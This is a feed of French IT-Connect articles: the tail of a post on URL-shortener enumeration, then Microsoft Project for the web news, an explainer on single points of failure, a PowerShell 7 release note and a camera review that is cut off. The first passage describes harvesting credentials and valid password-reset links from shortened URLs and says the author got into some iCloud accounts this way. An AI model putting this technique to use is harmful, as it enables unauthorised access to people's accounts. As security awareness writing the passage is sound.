<p><a href="media/f1687bf7.mail_url_shortener_gouv.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/mail_url_shortener_gouv.jpg"><img class="aligncenter size-full wp-image-34149" src="media/f1687bf7.mail_url_shortener_gouv.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/mail_url_shortener_gouv.jpg" alt="" width="778" height="381" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/mail_url_shortener_gouv.jpg 778w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/mail_url_shortener_gouv-550x269.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/mail_url_shortener_gouv-150x73.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/mail_url_shortener_gouv-768x376.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/mail_url_shortener_gouv-160x78.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/mail_url_shortener_gouv-50x24.jpg 50w" sizes="(max-width: 778px) 100vw, 778px" /></a></p>
<ul>
<li>des noms de domaines .gouv/.gov (avec résolution DNS pour trouver d’éventuels noms de domaines résolvant des adresses IP internes par exemple)</li>
<li>des login/mots de passe stockés dans les URL (par centaines...)</li>
<li>des liens de réinitialisation de mot de passe (parfois encore valides)</li>
<li>etc.</li>
</ul>
<p>Enfin, il m'est apparu que certains services utilisent des raccourcisseurs d'URL lors de leur communication avec leur utilisateur, notamment pour les liens de réinitialisation de mot de passe envoyés par SMS, pour les authentifications "rapides" par mobiles, ce qui permet de trouver des centaines de login/mots de passe valides d'utilisateurs, cela m'a par exemple permis d'accéder à des comptes <em>icloud</em> car une URL contenant les identifiants de l'utilisateur a été utilisée dans un raccourcisseur d'URL par un service web (<em>auto-login?sms=true</em>) :</p>
<p><a href="media/eeefd586.icloud.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/icloud.jpg"><img class="aligncenter size-large wp-image-34146" src="media/7a6f0c4b.icloud-800x292.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/icloud-800x292.jpg" alt="" width="800" height="292" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/icloud-800x292.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/icloud-550x201.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/icloud-150x55.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/icloud-768x280.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/icloud-160x58.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/icloud-50x18.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/icloud.jpg 1134w" sizes="(max-width: 800px) 100vw, 800px" /></a> <a href="media/c4b80464.icloud2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/icloud2.png"><img class="aligncenter size-full wp-image-34147" src="media/c4b80464.icloud2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/icloud2.png" alt="" width="731" height="641" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/icloud2.png 731w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/icloud2-550x482.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/icloud2-150x132.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/icloud2-160x140.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/icloud2-50x44.png 50w" sizes="(max-width: 731px) 100vw, 731px" /></a> Bref, on y trouve tout et n'importe quoi. <strong>Le problème ici est que les utilisateurs ne sont pas conscient du danger</strong>. Également, certains services ne devraient pas pouvoir être utilisés sur des raccourcisseurs d'URL, notamment les services de partage de fichiers car cela casse la sécurité de leur token, initialement assez robustes pour éviter d'être cassés par une attaque de type brute force. La seule leçon à retenir est donc la suivante : Si vous utilisez un raccourcisseur d'URL, considérez que le lien soumis est désormais totalement public, abstenez-vous donc dans certains cas.</p>


feed_id: https://www.it-connect.fr/?p=34554
title: Office 365 : Project for the web va débarquer en France à la fin mars
uri: Office-365-Project-for-the-web-va-débarquer-en-France-à-la-fin-mar
url: https://www.it-connect.fr/office-365-project-for-the-web-va-debarquer-en-france-a-la-fin-mars/
content:
<p><strong>A partir de fin mars 2020, Microsoft va déployer un nouvel outil Office 365 en France : Project for the web. Il s'agit d'une déclinaison de la solution de gestion de projets "Project" en version web intégralement.</strong> Celle-ci sera un intermédiaire entre Planner et Project Online, avec pour objectif de proposer un outil simple et accessible à tous, sans qu'il soit nécessaire de recevoir une formation.</p>
<h2>Project for the web X Planner</h2>
<p>L'outil Planner conservera sa place pour la gestion de tâches collaboratives et les projets simples, tout comme le concurrent Trello, mais <strong><em>Project for the web</em> </strong>s'invite comme une solution agile pour la gestion de projets complexes. En fait, ce nouvel outil est un intermédiaire entre Planner et Project Online, tout en sachant que ce nouvel outil va s'appuyer sur le moteur de calcul de Project.</p>
<p>Etant donné que "Project for the web" est accessible à partir d'un navigateur, il est possible de l'<strong>utiliser à partir d'un PC sous Windows, d'un Mac mais aussi sur une tablette ou un smartphone sous Android.</strong> S'affranchir des problèmes de compatibilité entre les appareils et les OS est une bonne nouvelle.</p>
<p>Dans le même esprit que Planner, une vue par compartiment est proposée, mais nous <strong>retrouvons des vues classiques et adaptées à la gestion de projets : grille, tableau et chronologique.</strong> Par la suite, Microsoft prévoit d'intégrer de nouvelles fonctionnalités à Project for the web, notamment pour la gestion financière ainsi que la gestion des ressources.</p>
<p><img class="aligncenter size-full wp-image-34557" src="media/46025e83.Project_for_the_web_07.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/Project_for_the_web_07.jpg" alt="" width="800" height="362" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/Project_for_the_web_07.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/Project_for_the_web_07-550x249.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/Project_for_the_web_07-150x68.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/Project_for_the_web_07-768x348.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/Project_for_the_web_07-160x72.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/Project_for_the_web_07-50x23.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p><em><strong>Project for the web</strong></em> proposera aux entreprises d'avoir une vue d'ensemble pour :</p>
<p>- Visualiser les feuilles de route des différents projets<br />
- Connecter les feuilles de routes à des tâches et des jalons en provenance des autres outils : Project Online et Azure Boards, et par la suite en interaction avec SAP, Jira et d'autres<br />
- Créer des roadmaps afin de définir des dates clés au niveau du portefeuille de projets</p>
<p>Le nombre de projets est illimité car ce nouvel outil peut <strong>gérer jusqu'à 100 000 projets et ressources</strong>, sans impact sur les performances. Project for the web bénéficie du niveau de sécurité habituel offert par Office 365.</p>
<h2>Project for the web : licensing</h2>
<p><strong>Pour utiliser Project for the web, il sera nécessaire de disposer d'une licence spécifique.</strong> Hélas, cela n'est pas inclus dans les abonnements Office 365 standards. Le premier plan, nommé "Project Plan 1" coûtera 10$ par mois et par utilisateur.</p>
<p>Microsoft propose plusieurs plans :</p>
<p><img class="aligncenter size-large wp-image-34556" src="media/f30ad47e.Project_for_the_web_08-800x410.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/Project_for_the_web_08-800x410.jpg" alt="" width="800" height="410" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/Project_for_the_web_08-800x410.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/Project_for_the_web_08-550x282.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/Project_for_the_web_08-150x77.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/Project_for_the_web_08-768x394.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/Project_for_the_web_08-160x82.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/Project_for_the_web_08-50x26.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/Project_for_the_web_08.jpg 1106w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Pour la petite histoire, Microsoft a lancé Project en décembre 1983, avant même que la première version de Windows soit lancée (1985). L'outil Project for the web quant à lui fût lancé en octobre 2019 aux Etats-Unis et, comme je le disais en introduction, il va débarquer en France à la fin du mois de mars.</p>
<p><em>Informations et images issues d'un Webinar organisé par Microsoft France</em></p>


feed_id: https://www.it-connect.fr/?p=34442
title: Qu’est ce qu’un SPOF – Single Point of Failure ?
uri: Qu-est-ce-qu-un-SPOF-Single-Point-of-Failure
url: https://www.it-connect.fr/quest-ce-quun-spof-single-point-of-failure/
content:
<h2>I. Présentation</h2>
<p>Dans ce billet, nous allons nous pencher sur le terme <strong>SPOF,</strong> qui est l'anagramme de <strong>Single Point of Failure</strong>. SPOF peut être traduit en français par <strong>point individuel de défaillance</strong>. Nous allons également voir en quoi les SPOF sont importants dans le domaine de la sécurité. J'ai eu envie de rédiger un billet à ce propos après avoir visionné la conférence "<a href="https://www.youtube.com/watch?v=wg45iVWuEKE" target="_blank" rel="noopener noreferrer">JCSA2012 - Tutoriel Stéphane Bortzmeyer "Sécurité des noms de domaine</a>" dans laquelle ce dernier parle brièvement des SPOF DNS.</p>
<h2>II. Single Point Of Failure</h2>
<p>Un point individuel de défaillance est, comme son nom l'indique, un point qui peut être identifié dans une infrastructure ou une architecture donnée comme <strong>étant critique pour cette infrastructure dans le cas où celui-ci vient à défaillir</strong>. Ce n'est pas un concept propre aux architectures informatiques, tous les autres domaines mettant en place des réseaux au sens infrastructure sont déjà bien familiers avec ce concept et depuis plus longtemps que dans le domaine informatique, par exemple pour les réseaux de gaz, d’électricité, d'eau ou encore <strong>les réseaux routiers</strong>.</p>
<p>Le principe d'identification d'un point réseau comme étant un SPOF est celle d'un point où tout finit par passer et qui est critique pour l'infrastructure. Entendre par là qu'<strong>aucun autre moyen de fournir un service ou de joindre une partie d'un réseau ou d'Internet n'est possible si ce point tombe en panne</strong>. La définition, plus ou moins officielle, est la suivante :</p>
<blockquote><p>Tout élément de configuration pouvant causer un incident lorsqu’il tombe en panne, et pour lequel une contre-mesure n’a pas été implantée. Un point de défaillance unique peut tout aussi bien être une personne, ou une étape d’un processus ou d’une activité, qu’un composant d’une infrastructure informatique.</p></blockquote>
<p>Plus simplement, un SPOF est un endroit où si ce point tombe, tout le reste tombe également.</p>
<h2>III. Savoir les identifier</h2>
<p>On parle souvent de "<strong>maillon faible de la </strong><b>chaîne</b>" lorsque l'on met en avant un SPOF, car c'est en effet une partie du réseau qui peut être identifiée comme <strong>particulièrement vulnérable</strong> et mettant en danger le reste de l'infrastructure selon son importance et son rôle. Voici un schéma simplifié d’infrastructure réseau que nous allons utiliser dans un premier temps :</p>
<figure id="attachment_34443" aria-describedby="caption-attachment-34443" style="width: 307px" class="wp-caption aligncenter"><a href="media/cecd19ae.SPOF01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/SPOF01.png"><img class="size-full wp-image-34443" src="media/cecd19ae.SPOF01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/SPOF01.png" alt="" width="307" height="372" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/SPOF01.png 307w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/SPOF01-124x150.png 124w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/SPOF01-132x160.png 132w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/SPOF01-41x50.png 41w" sizes="(max-width: 307px) 100vw, 307px" /></a><figcaption id="caption-attachment-34443" class="wp-caption-text">Ici, certains éléments ont été redondés pour une haute disponibilité, mais on identifie tout de même un SPOF</figcaption></figure>
<p>Ici, on voit que certains éléments sont redondés sur le réseau, néanmoins, on remarque qu'un seul point est utilisé pour aller sur Internet, si ce point tombe, aucun autre n'est présent pour prendre le relais, le <strong>SPOF dans ce schéma est donc le routeur</strong> qui lie le LAN à Internet. Ce qui est intéressant, c'est que les SPOF ne sont pas spécifiques aux réseaux, il faut avoir un point de vue général du SI pour essayer d'identifier tous les SPOF possibles... Les SPOF peuvent être identifiés tout au long d'une chaîne de traitement ou de circulation d'un flux, c'est ce qui fait que les SPOF requièrent une attention particulière au sein des SI ainsi qu'une connaissance précise de ceux-ci. Pour illustrer le contournement d'un SPOF, voici la dernière carte parue identifiant les câbles réseau sous-marins reliant les différents continents entre eux au niveau d'Internet.</p>
<p><a href="media/8411b340.c0b15784e6d71aefa36a27843dc1e791.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/c0b15784e6d71aefa36a27843dc1e791.png"><img class="aligncenter size-large wp-image-34445" src="media/7ff42cf6.c0b15784e6d71aefa36a27843dc1e791-800x482.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/c0b15784e6d71aefa36a27843dc1e791-800x482.png" alt="" width="800" height="482" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/c0b15784e6d71aefa36a27843dc1e791-800x482.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/c0b15784e6d71aefa36a27843dc1e791-550x331.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/c0b15784e6d71aefa36a27843dc1e791-150x90.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/c0b15784e6d71aefa36a27843dc1e791-768x463.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/c0b15784e6d71aefa36a27843dc1e791-160x96.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/c0b15784e6d71aefa36a27843dc1e791-50x30.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/c0b15784e6d71aefa36a27843dc1e791.png 1046w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Bien que l'on puisse identifier des points névralgiques comme à New York ou en Égypte où beaucoup de câbles passent, on voit ici qu'aucun SPOF ne peut être identifié facilement, plus clairement, si un câble tombe ou vient à être défaillant, il est possible de repasser par un autre chemin pour joindre notre cible. Pour être plus familiers avec les SPOF, nous allons essayer d'identifier des endroits où les SPOF sont fréquents.</p>
<ul>
<li>Comme nous l'avons identifié plus haut dans notre schéma, <strong>un SPOF réseau</strong> va être un endroit dans l'architecture réseau où tout ou partie <strong>des flux vont passer sans avoir de chemin secondaire</strong>. Il s'agit le plus souvent d'un chemin situé dans le cœur du réseau ou vers Internet (routeur, passerelle ou pare-feu).</li>
<li>Sur un serveur, il est possible d'identifier plusieurs <strong>SPOF</strong> qui sont le plus souvent <strong>physiques,</strong> on peut par exemple prendre <strong>l'alimentation</strong> qui est parfois unique sur les petits serveurs, mais systématiquement en double sur les serveurs un peu plus costauds. Quand une double alimentation est mise, il faut être attentif à ne pas <strong>brancher les deux sur la même source d'énergie, mais à bien avoir deux circuits électriques différents</strong> et indépendants de bout en bout. Également, une liaison câblée en Ethernet entre un switch et un serveur peut être identifiée comme un point de défaillance unique, on peut alors imaginer mettre deux câbles vers deux switchs différents.</li>
<li>Il peut être intéressant d'avoir plusieurs serveurs qui sont en redondance les uns par rapport aux autres, seulement si ces serveurs sont sur le même rack ou dans la même salle, il est fort possible qu'une coupure d’électricité ou qu'une coupure réseau affecte tous les serveurs en même temps, rendant inutile la redondance mise en place.</li>
<li>De la même manière lorsque l'on choisit différents <strong>fournisseurs d'accès à Internet</strong>, il est judicieux de vérifier <strong>par où passent les câbles reliant le SI aux différents FAI</strong>. Si les câbles passent tous au même endroit physiquement ou par les mêmes points de collectes, c'est que nous sommes en présence d'un SPOF, on peut alors croiser le fameux "<strong>coup de pelleteuse</strong>" qui peut mettre à mal tout un SI même si l’on possède des FAI différents.</li>
<li>Un autre exemple intéressant mis en avant par <strong>Stéphane Bortzmeyer</strong> lors d'une conférence sur la sécurité des noms de domaines est qu'en Californie, une grande faille sismique existe (<a href="http://fr.wikipedia.org/wiki/Faille_de_San_Andreas" target="_blank" rel="noopener noreferrer">Faille de San Andreas</a>). Quand des Datacenters sont construits, les ingénieurs et architectes doivent veiller à ne pas les construire sur la même faille sismique, car même si les deux Datacenters sont séparés de plusieurs centaines de kilomètres, ils peuvent se situer sur la même faille et donc tomber en même temps lorsque cette faille tremblera.</li>
</ul>
<p>On voit donc dans ces différents exemples qu'<strong>il faut avoir une vue à la fois très générale et très détaillée d'un SI</strong> pour identifier tous les<strong> Single Point Of Failure</strong> présents dans celui-ci. Tous les SPOF ne sont pas forcément à supprimer au sein d'un système d'information, cela coûte souvent cher et est parfois inutile quand les éléments situés sur la chaîne de traitement de l'information ne sont pas vitaux. Toutefois, quand un élément est jugé vital, il convient de vérifier et de supprimer les SPOF de bout en bout.</p>
<p>Au sein des systèmes d'information, on essaie de rapprocher le plus possible les SPOF des utilisateurs. Cela permet, en cas de défaillance, de faire que celle-ci impact le moins de monde possible. Plutôt que de mettre une redondance sur les switchs situés en couche d’accès, on préférera donc redonder les switchs des couches distributions ou les sorties Internet.</p>
<h2>IV. L'importance de l'identification des SPOF</h2>
<p>L'identification d'un SPOF dans une architecture informatique requiert d'avoir une vue d'ensemble, mais précise de tout ce qui la compose. Un SPOF est un point critique pour une architecture informatique ou un LAN, car il peut rapidement être identifié comme une cible de choix pour mettre à mal un ensemble de machines ou un service. Sur l'architecture vue plus haut, on voit que l'administrateur a pris la peine de mettre en redondance certains éléments du réseau. La mise en redondance d'éléments comme des routeurs ou des serveurs offrant des services est de faire en sorte que si l'un tombe ou est surchargé, l'autre prenne le relais.</p>
<p>Connaissant ce principe de fonctionnement, un pirate expérimenté ne perdra pas son temps à attaquer des équipements redondés, seulement s'il a identifié le SPOF qui est le routeur, il deviendra une cible prioritaire, car faire tomber le routeur reviendra à faire tomber le reste de l'infrastructure qui deviendra injoignable. En sécurité informatique, l<strong>a sécurité de l'ensemble est évaluée par la sécurité la plus basse évaluée sur chacun des composants</strong>, lorsque l'on entame des redondances pour mettre un service en mode "<strong>haute disponibilité</strong>", il est important de le faire sur toute la chaîne de traitement pour ne pas laisser apparaître de SPOF sur celle-ci.</p>
<h2>V. Mise en place de contre mesure</h2>
<p>Une fois que les SPOF sont identifiés, la plupart peuvent en général être supprimés par la mise en place de systèmes de redondance ou de haute disponibilité, dit "HA" pour <strong>High Availability</strong>. On parle alors généralement de <strong>Fail-Over,</strong> plus rarement de <strong>Load-Balancing</strong> qui est un terme se rapprochant plus de la répartition de charge.</p>
<p>On peut également voir plus loin en identifiant des SPOF logiciels qui font que si un logiciel utilisé par tous les serveurs d'un cluster de redondance comporte une vulnérabilité, aucun autre système ne peut venir nous aider à nous couvrir de cette vulnérabilité. Pour prendre un exemple plus concret, si nous disposons de trois routeurs pour une sortie de réseau et que ceux-ci sont en redondance, si une faille de sécurité est découverte sur ces systèmes et qu'elle permet de les faire tomber en quelques secondes, alors on peut identifier un SPOF qui fera qu'aucun autre système ne pourra prendre le relais si ce système vient à défaillir.</p>
<p>Il est alors envisageable d'<strong>utiliser différents systèmes pour faire une même action</strong>. Cependant, il n'est pas toujours possible de mettre des systèmes, parfois concurrents, en redondance et de les faire travailler ensemble. Il faut généralement pour cela qu'un protocole de redondance standardisé ait été mis en place, on peut prendre <strong>VRRP</strong> (<a href="http://fr.wikipedia.org/wiki/Virtual_Router_Redundancy_Protocol" target="_blank" rel="noopener noreferrer"><em>Virtual Router Redundancy Protocol</em></a>) par exemple qui permet la mise en redondance de différentes passerelles et qui est la version standardisée du <a title="Article sur le protocole HSRP, son fonctionnement et configuration" href="http://www.it-connect.fr/mise-en-place-du-protocole-hsrp/" target="_blank" rel="noopener noreferrer">protocole propriétaire Cisco HSRP</a> (<em>Hot Standby Router Protocol</em>), celui-ci ne fonctionnant qu'entre éléments actifs Cisco. Cela nécessitant du temps, de l'investissement et des compétences supplémentaires !</p>
<p>Enfin, la mise en place de contre-mesures passe également par le fait de tester les technologies et les processus de Fail-Over mis en place. Il est en effet important d'être certain du comportement d'un élément du réseau mis en redondance lorsque le maître ou un pair vient à être défaillant. De la même manière, il est important de savoir si le retour à la normale de la situation après la remise sur pieds de l'élément défaillant se fait avec manipulation d'un technicien ou de façon automatique et les pertes de paquets ou de requêtes que cela peut générer.</p>
<p>Il faut également garder en tête que la mise en place de contre-mesures envers les points de défaillance individuels ont <strong>un certain coût,</strong> d'abord en matériel, mais également, car cela requiert, en fonction des technologies utilisées, des compétences spécifiques et du temps de maintenance et de mise en place. Il faut donc bien évaluer la criticité d'un service ou d'un serveur afin de <strong>juger si oui on non il est vitale et mérite une attention avancée</strong> pour supprimer les SPOF qui sont sur son chemin.</p>


feed_id: https://www.it-connect.fr/?p=34572
title: PowerShell 7 est dispo, sur Windows, Linux et MacOS !
uri: PowerShell-7-est-dispo-sur-Windows-Linux-et-MacOS
url: https://www.it-connect.fr/powershell-7-est-dispo-sur-windows-linux-et-macos/
content:
<p><strong>Microsoft a publié une nouvelle version majeure de PowerShell qui est marquée par le passage de .NET Core 2.x à 3.1, ce qui apporte une compatibilité beaucoup plus importante avec les modules PowerShell existants. PowerShell 7 est dès à présent disponible pour Windows, mais aussi Linux et MacOS.</strong></p>
<p>Cette nouvelle version est également la fin de l'appellation PowerShell Core, nous sommes bien maintenant sur PowerShell 7, la solution de scripting multi-plateforme de Microsoft, qui reste distincte malgré tout de Windows PowerShell. Pour rappel, Windows PowerShell est la version exclusive à Windows et qui s'appuie sur le .NET Framework, lui aussi exclusif à Windows : les deux versions devraient continuer se rapprocher au fur et à mesure des versions.</p>
<p>En terme de support, <strong>PowerShell 7 va profiter d'un<em> support long-term servicing</em> (LTS), soit 3 ans de support à compter du 3 décembre 2019.</strong> Pourquoi cette date de début ? Tout simplement parce qu'il s'agit de la date de la sortie de .NET Core 3.1.</p>
<p>PowerShell 7 prend en charge de nouveaux éléments, notamment des modules PowerShell livrés avec Windows, et il supporte également des éléments graphiques comme<em> Out-GridView</em> et<em> Show-Command</em>. Par ailleurs, la parallélisation du pipeline via "<em>ForEach-Object -Parallel</em>" est supportée, tout comme les opérateurs suivants : || - &amp;&amp; - ?? - ??=</p>
<p>Microsoft a introduit le paramètre "<em>-UseWindowsPowerShell</em>" au cmdlet "<em>Import-Module</em>" pour <strong>faciliter le switch entre PowerShell 7 et Windows PowerShell dans le cas où le module n'est pas encore compatible avec PowerShell 7.</strong></p>
<p>Pour être plus précis, voici les systèmes d'exploitation supportés par cette nouvelle version de PowerShell :</p>
<p>- Windows 7, Windows 8.1 et Windows 10<br />
- Windows Server 2008 R2, 2012, 2012 R2, 2016 et 2019<br />
- MacOS 10.13 et versions ultérieures<br />
- Linux : RHEL/CentOS 7 et Fedora 29, mais aussi Debian 9 et Ubuntu 16.04, ainsi qu'openSUSE 15 et Alpine Linux 3.8, et toutes les versions ultérieures de ces distributions</p>
<p><strong>Microsoft précise également que les paquets sont disponibles pour Kali Linux et Arch Linux</strong>, bien que ce ne soit pas officiellement supporté. Par ailleurs, les versions de Debian pour ARM32 et ARM64 sont prises en charge.</p>
<p>Pour en savoir plus : <a href="https://devblogs.microsoft.com/powershell/announcing-powershell-7-0/" target="_blank" rel="noopener noreferrer">Annonce officielle PowerShell 7</a><br />
Pour le téléchargement sur GitHub : <a href="https://github.com/PowerShell/PowerShell/releases/tag/v7.0.0" target="_blank" rel="noopener noreferrer">Télécharger PowerShell 7</a></p>


feed_id: https://www.it-connect.fr/?p=34129
title: Test Konyks Camini+ : une caméra full HD et motorisée à moins de 50 euros
uri: Test-Konyks-Camini-une-caméra-full-HD-et-motorisée-à-moins-de-50
url: https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/
content:
<h2>I. Présentation</h2>
<p><strong>Dans la continuité des tests précédents, je vais vous présenter, au travers de cet article, un autre produit de chez Konyks : la caméra motorisée Konyks Camini+.</strong></p>
<p>Sortie tout droit de La French Tech, Konyks propose à ce jour deux modèles de caméras : Camini et Camini+ mais le premier modèle n'est plus proposé au sein de la boutique Konyks, même si on le retrouve sur les boutiques d'e-commerce habituelles. La volonté est clairement de se tourner vers la caméra Camini+ et cela tombe bien puisque c'est d'elle que nous allons parler aujourd'hui.</p>
<p>📌 Retrouvez nos <a href="https://www.it-connect.fr/tag/konyks/" target="_blank" rel="noopener noreferrer">tests Konyks</a></p>

<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-photo-01/'><img width="550" height="413" src="media/ea3daf27.konyks-camini-plus-photo-01-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-01-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-01-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-01-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-01-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-01-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-01-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-01.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-photo-02/'><img width="550" height="413" src="media/0bacb41f.konyks-camini-plus-photo-02-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-02-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-02-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-02-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-02-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-02-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-02-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-02.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>

<p>Voici les caractéristiques techniques :</p>
<ul>
<li>Résolution : 1080p - Full HD</li>
<li>Connectivité au Wi-Fi 2.4 GHz (802.11 b/g/n)</li>
<li>Angle de vision de 80°</li>
<li>Enregistrement sur carte microSD - jusqu'à 64 Go</li>
<li>Rotation motorisée verticale jusqu'à 110°</li>
<li>Rotation motorisée horizontale jusqu'à 355°</li>
<li>Microphone et haut-parleur intégrés</li>
<li>Vision de nuit par LED IR</li>
<li>Alimentation 5V DC - 1A</li>
<li>Poids : 170 grammes</li>
</ul>
<p>Comme les autres objets connectés de chez Konyks, la caméra est également pilotable à distance via le réseau 4G ou depuis son domicile à partir d'une connexion Wi-Fi. Je ne vous en dit pas plus, découvrons tout cela ensemble...</p>
<blockquote><p><strong>Note</strong> : il est à noter que la caméra Camini, contrairement à la Camini+, n'est pas motorisée donc elle ne permet pas le suivi de mouvements. Elle est Full HD, dispose d'un micro et d'un haut-parleur comme sa petite sœur.</p></blockquote>
<p>&nbsp;</p>
<h2>II. Package et design</h2>
<p>Les caractéristiques techniques citées précédemment sont inscrites directement sur la boîte, ce qui est pratique pour en savoir plus sur le produit avant de l'acheter. Nous retrouvons également des informations sur les fonctionnalités de la caméra, sur lesquelles nous reviendrons après. Les différents éléments sont emballés dans des sachets en plastique individuel.</p>
<p>Dans la boîte, nous retrouvons les éléments suivants :</p>
<ul>
<li>La caméra Camini+</li>
<li>Un manuel d'utilisation en plusieurs langues, dont le français bien sûr</li>
<li>Un chargeur USB</li>
<li>Un câble USB (2 mètres)</li>
<li>Un support pour fixer la caméra au mur</li>
<li>Deux chevilles et deux vis pour la fixation</li>
</ul>

<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-package-01/'><img width="550" height="413" src="media/7031076e.konyks-camini-plus-package-01-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-package-01-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-package-01-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-package-01-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-package-01-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-package-01-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-package-01-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-package-01.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
